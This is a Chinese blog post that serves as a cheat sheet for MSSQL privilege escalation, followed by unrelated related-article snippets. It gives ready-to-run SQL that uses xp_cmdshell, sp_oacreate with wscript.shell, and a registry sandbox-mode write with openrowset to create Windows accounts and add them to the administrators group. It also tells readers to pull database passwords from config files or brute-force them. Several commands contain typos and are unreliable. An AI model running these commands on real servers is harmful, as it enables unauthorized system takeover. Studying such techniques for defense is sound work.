mssql数据库提权

server/2024/11/9 16:40:43/

获取数据库密码

翻配置文件:conn.asp(asp站点) ,web.config(aspx站点) , db.inc

暴力破解

sa权限利用 微软的SQL Server在提权过程中往往也会给我们很大帮助,尤其是当找到SA用户的密码时,系统权限就基本到手了

一、xp_cmdshell提权

前提是必须获取SA用户的密码(SA用户具有最高权限)

在连接成功后在sql命令处执行:

exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'

就能成功的创建一个账户aaa并且加到管理员组:

如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:

select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ; 

返回1是存在的

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

开启xp_cmdshell:

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  //打开xp_cmdshell扩展
RECONFIGURE 

关闭xp_cmdshell:

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure 

提权:  

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用户到管理员组 

二、sp_oacreate提权

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权。 开启:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;

关闭:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure; 

提权:  

declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add"

declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test test /add', 'c:\windows\system32', '','1';

三、沙盒提权

什么是沙盒模式?

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值. 如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

利用条件:

  • Access可以调用VBS的函数,以System权限执行任意命令

  • Access执行这个命令是有条件的,需要一个开关被打开

  • 这个开关在注册表里

  • SA是有权限写注册表的

  • 用SA写注册表的权限打开那个开关

  • 调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

开启默认关闭的xp_regwrite存储过程:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

 利用jet.oledb执行系统命令添加系统账号:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")') 

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

四、使用CLR执行系统命令

  。。。。


http://www.ppmy.cn/server/25400.html

相关文章

【数据结构】三、栈和队列:2.顺序栈共享栈(顺序栈的初始化,判空,进栈,出栈,读取栈顶,顺序栈实例)

文章目录 1.顺序栈1.1初始化1.2判空1.3进栈1.4出栈1.5读取栈顶1.6销毁栈❗1.7顺序栈c实例 2.共享栈2.1初始化2.2判满 1.顺序栈 用顺序存储实现的栈 顺序栈的缺点:栈的大小不可变。 #define MaxSize 10 //定义栈中元素的最大个数 typedef struct{ElemType data[…

内衣裤洗衣机什么牌子好一点?四款火爆高人气单品整理

随着科技的不断发展,内衣裤洗衣机成为了家庭必备的家电之一。选择一个好的品牌对于日后的使用体验至关重要。市场上内衣洗衣机型号繁多,究竟哪个牌子好用呢?下面给大家分享四款无论是口碑还是价格,都称得上是公认好用又实惠的内衣…

KUKA机器人如何给IO信号或寄存器添加中文注释信息?

KUKA机器人如何给IO信号或寄存器添加中文注释信息? 如下图所示,首先,我们需要登录专家以上用户权限(默认密码KUKA), 如下图所示,点击“投入运行”—“网络配置”, 如下图所示,此时机器人的IP地址为192.168.1.10, 如下图所示,用一根网线连接机器人控制柜到笔记…

Mac下使用homebrew管理多版本mysql同时启动

Mac下使用homebrew管理多版本mysql同时启动 思路 给每个版本分配不同的数据目录和配置文件即可 本文尝试了使用 brew 安装管理多个MySQL版本,同时运行、直接切换 安装 如果已有数据文件请自行备份以及使用 安装 mysql 5.7 brew install mysql5.7在 /opt/home…

安防监控/智能分析EasyCVR视频汇聚平台海康/大华/宇视摄像头国标语音GB28181语音对讲配置流程

一、背景分析 近年来,国内视频监控应用发展迅猛,系统接入规模不断扩大,涌现了大量平台提供商,平台提供商的接入协议各不相同,终端制造商需要给每款终端维护提供各种不同平台的软件版本,造成了极大的资源浪…

14 Linux实操篇-进程管理

第十四章 Linux实操篇-进程管理(重点) 14.1 基本介绍 在 LINUX 中,每个执行的程序都称为一个进程。每一个进程都分配一个 ID 号(pid,进程号)。>windows > linux 每个进程都可能以两种方式存在的**。前台与后台**,所谓前台…

透明的Activity:主题样式:

方式一,使用系统的主题: AndroidManifest.xml: android:theme"android:style/Theme.Translucent.NoTitleBar" //没有标题栏,但是有状态栏 android:theme"android:style/Theme.Translucent.NoTitleBar.Fullscreen" //…

【KingbaseES】授权用户访问某个表

【KingbaseES】授权用户访问某个表 在KingbaseES中,授权用户访问某个表通常涉及到两个步骤:首先,确保用户有权访问数据库;其次,授权用户对特定表的访问权限。以下是相应的SQL命令: 1.登录到KingbaseES数据…